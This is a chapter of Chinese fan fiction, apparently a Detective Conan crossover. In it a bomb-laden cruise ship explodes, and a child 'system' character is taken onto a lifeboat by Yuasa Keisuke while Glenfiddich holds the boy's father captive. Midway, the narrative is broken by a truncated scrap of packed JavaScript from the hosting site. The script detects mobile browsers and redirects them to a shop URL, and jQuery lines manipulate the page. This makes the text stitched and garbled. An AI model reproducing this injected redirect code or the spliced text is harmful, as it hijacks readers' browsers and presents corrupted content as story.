白色救生艇上,汤浅圭介坐在控制台前,指尖在按键上轻盈滑动。海面上,那艘游轮正冒着滚滚浓烟,在他的眼中,仿佛是一场噩梦的终结。他语气轻快,甚至带着几分得意:“喂,小孩,你知道这艘船上装了多少炸弹吗?”


    晚冬玖紧紧攥着脖间的项链,一双圆溜溜的眼睛望向游轮的方向,好奇中透着隐隐的担忧:“多少个啊?景景他们……会有危险吗?”


    汤浅圭介笑了两声:“四十三个。我装了七个,剩下的都是格兰菲迪的手笔。这些炸弹,足够把整艘船送上天。”


    他顿了顿,脸上的笑意更深:“这是格兰菲迪的计划——为了组织的利益,他打算让全船人陪葬。临走前,他还让我带一个叫柯南的小孩趁乱离开。可惜啊,他大概永远想不到,我会在他走后做些‘小动作’。”


    “警视厅那群排查的警员真是废物,我暗示了两次,他们才找到救生艇处的炸弹。不然等到游轮毁了,救生艇也没了,那就真的全完了。”


    晚冬玖懵懂地点点头,似乎明白了汤浅圭介的意思。他的小手死死攥着项链,思绪回到了半小时前——


    当时,救生艇处发现炸弹的消息传出,游轮上的安保和警员立刻行动,连松田阵平都无暇再监视他和晚冬景,所有人都在寻找剩余的炸弹。晚冬景思量片刻后,将晚冬玖托付给毛利兰,转身加入了拆弹的行列。


    船上的工作人员紧急疏散乘客前往救生艇。晚冬玖本该随毛利兰离开,却在半路看见了汤浅圭介的身影。


    不能让他跑了。


    萩原研二已经被迫陷入沉睡,他是唯一可能知道宿主下落的人。系统与宿主灵魂相连,在核心不在宿主身上时,晚冬玖无法精确定位晚冬梧的位置,但他能清楚地感觉到——自己与宿主的距离正在不断拉长,很快便会彻底失去感应。


    晚冬玖很急,他甩开毛利兰的手:“小兰姐姐,我看见干爹了,他在和我招手,我去找他!”


    留下这句话,他仗着身材小巧,从人群缝隙中钻了出去,很快消失在视野中。


    “小玖!”毛利兰回头,却没看到晚冬梧的身影,她急忙喊着追去,却在人群涌动间失去了晚冬玖的踪迹。


    晚冬玖在距离汤浅圭介五米处停下,低声问:“萩萩,我要跟上去吗?”


    项链没有回应——萩原研二仍在沉睡。眼看汤浅圭介即将离开,晚冬玖咬了咬牙,还是跟了上去。


    我必须……找到宿主。


    他明白,此刻所有人都在忙着拆弹和逃生,根本顾不上失踪的晚冬梧。


    宿主,只能由我来守护了!


    在甲板上,游客的掩护让晚冬玖能轻松跟踪而不被发现。但当他走进封闭的室内,踪迹便再也无法隐藏。


    “是谁!”空旷的房间里,汤浅圭介的声音骤然响起。


    晚冬玖鼓起勇气,学着电视里警察的样子:“我是晚冬玖!汤浅圭介,快说,你把晚冬梧带去哪了?”


    “晚冬玖……”汤浅圭介呢喃着他的名字,目光落在他的姓氏上,“晚冬……你是晚冬梧的儿子。”


    他深深看了晚冬玖一眼,随即跨步上前,将他抓住,一并带上救生艇。


    晚冬玖挣扎了一下,却被汤浅圭介按住:“别动,小家伙。你父亲被组织的人抓走了,作为合作伙伴,我自然要照看你。”


    “组织?”


    “对。”汤浅圭介没时间对小孩多解释。他启动偷偷安装的机关,一扇足以通过救生艇的暗门缓缓打开,海水涌入,瞬间淹没了整个房间。


    救生艇启动,悄然驶离游轮。


    思绪回到现在


    “那我们什么时候去救我干爹?”晚冬玖的童音响起,语气里满是对人的关切。这让孩子气的关心让膝下无子的汤浅圭介微微动容,但他还是残忍地戳破了幻想:“不去救。好不容易逃出组织的掌控,我怎么可能再回去?”


    “啊?那你为什么……”晚冬玖愣住了——汤浅圭介确实没说过要救晚冬梧,他只说了晚冬梧的下落。


    一瞬间,原本冷静的孩子慌了。可此刻,他没有可以依靠的人,只能强迫自己镇定下来。


    “合作伙伴,我们只是合作。”汤浅圭介强调,“他说,晚冬玖和晚冬景都知道灰雁的下落。如果他出了事,为了确保能联系上灰雁,我必须保护你们。”


    “可是……”晚冬玖的话没说完,后半截被咽了回去。


    就在这时,他的脑海中突然响起萩原研二的声音——疲惫,像是睡梦中被惊醒:“小玖,小梧已经跟着格兰菲迪走了。他最后给你们和景光留了一句话——你假扮灰雁与汤浅圭介合作,景光脱离目前身份,并在汤浅圭介的帮助下隐于暗处。”


    闻言,晚冬玖明白这是萩原研二醒了,他想要继续追问,但却感受到萩原研二那深深的疲惫。


    他的状态不对。


    熟悉系统的晚冬玖立刻便探查出了问题所在——系统核心完整度只有98%,有一块碎片不见了,恐怕是被宿主带走了。


    “我明白了,萩萩,你先休息吧。”晚冬玖在脑海中与系统核心中的萩原研二沟通。强行取出系统碎片对萩原研二精神损伤不小,如今萩原研二需要好好的休息,不然以人类的精神强度,会留下后遗症的。


    “好,小玖,有事尽快唤醒我。”萩原研二也没硬撑,当然,不如说现在的他已经彻底没有了力气,精神一松懈,便失去了意识。


    晚冬梧并不是自愿跟格兰菲迪离开的。作为“懦弱”的研究员,他是被格兰菲迪以生命为要挟带走的。


    “我都已经屈服了,真的不能松绑吗?”晚冬梧睁大眼睛,盯着格兰菲迪的后背,不满地叫嚷。


    格兰菲迪没有半分留情。他嘴角依旧挂着完美的弧度,但眼神却只是瞥了他一眼,随即像看到脏东西般移开。


    被嫌弃的晚冬梧:“……”


    他早该知道——格兰菲迪这个男人,若是欣赏你,会千方百计护短;但若厌恶你……那种从云端跌落地狱的感觉,没人能承受。


    游轮上,半小时前。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974982|188290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >格兰菲迪短暂离开几分钟,回来时手里多了一个长方体状的遥控器——晚冬梧认得它,那是炸弹的控制器。


    那一刻,他明白格兰菲迪想做什么。


    “你想做什么?”他提高音量,惊恐地盯着格兰菲迪。


    格兰菲迪只是瞥了他一眼,右手像转笔一样转着遥控器,似乎毫不在意会不会误触。


    晚冬梧的心提到了嗓子眼。他既不是灰雁,也不被格兰菲迪喜欢,贸然阻止只会适得其反。


    “当然是……邀请灰雁看一场盛大的烟花。”他说着,将晚冬梧的脸转向游轮方向。


    咔哒——


    远处传来震耳欲聋的爆炸声,水波被波及,掀起令人趔趄的巨浪。


    晚冬梧大脑一片空白,死死盯着冒起浓烟的方向,语速混乱:“你怎么能……那上面……你什么时候装的!明明……”


    格兰菲迪双手支着手杖,像在欣赏烟花秀般看着远方。等晚冬梧结结巴巴说完,他露出恶意的笑:


    “是啊,这艘游轮可是汤浅圭介亲自监督建造的。可巧的是,他是我的人。我和汤浅圭介躲在暗室里,那群废物警察把游轮翻了个底朝天,也没能找到。”


    格兰菲迪还在沾沾自喜,却不曾想晚冬梧心中已经快要笑疯了。


    若不是在演戏,晚冬梧真想嘲笑他——格兰菲迪大概没想到,自己会被“信赖”的下属摆了一道。


    至于汤浅圭介与晚冬梧的交易,其实很简单。


    汤浅圭介不想再受组织驱使去做那些损阴德又容易送命的事。而灰雁,这个能在格兰菲迪追捕下安然度过多年的“叛徒”,正是他理想的合作对象。


    除了保命,他还想为弟弟复仇,让组织付出代价。


    因此,他提出让灰雁保护自己——作为交换,他会为灰雁的人提供一定帮助。


    白色的救生艇在海面上划出一道弧线,远离了游轮的浓烟与喧嚣。晚冬玖坐在甲板角落,小手依旧攥着那条项链,指节因为用力而发白。海风带着咸腥味扑面而来,吹得他额前的碎发乱舞,却吹不散心底的焦灼。


    汤浅圭介站在控制台前,侧过脸看他:“害怕吗?小孩。”


    晚冬玖抬起头,圆溜溜的眼睛里没有退缩:“不怕。我只是想知道,你打算把我带到哪去。”


    汤浅圭介笑了,笑意却不达眼底:“放心,我不会伤害你——至少现在不会。”


    晚冬玖抿了抿唇,没再说话。事到如今,宿主已无法避免地进入龙潭虎穴,而他这个系统,能做的也只有按照宿主临走前的嘱托行事。


    “我要去战乱的地方,你直接把我送去那里就行。”稚嫩的声音满是决绝,晚冬玖挺起胸膛,努力与汤浅圭介对视。


    “可以,不过你必须先告诉我灰雁的下落。”汤浅圭介很是惊讶一个小孩为什么要去那么危险的地方,但他也不是很在意,倒不如说,他唯二在意的便是自己与弟弟了。


    “你给我一个地址,我会转告他的。他会在一周后的晚上八点,与你相见。”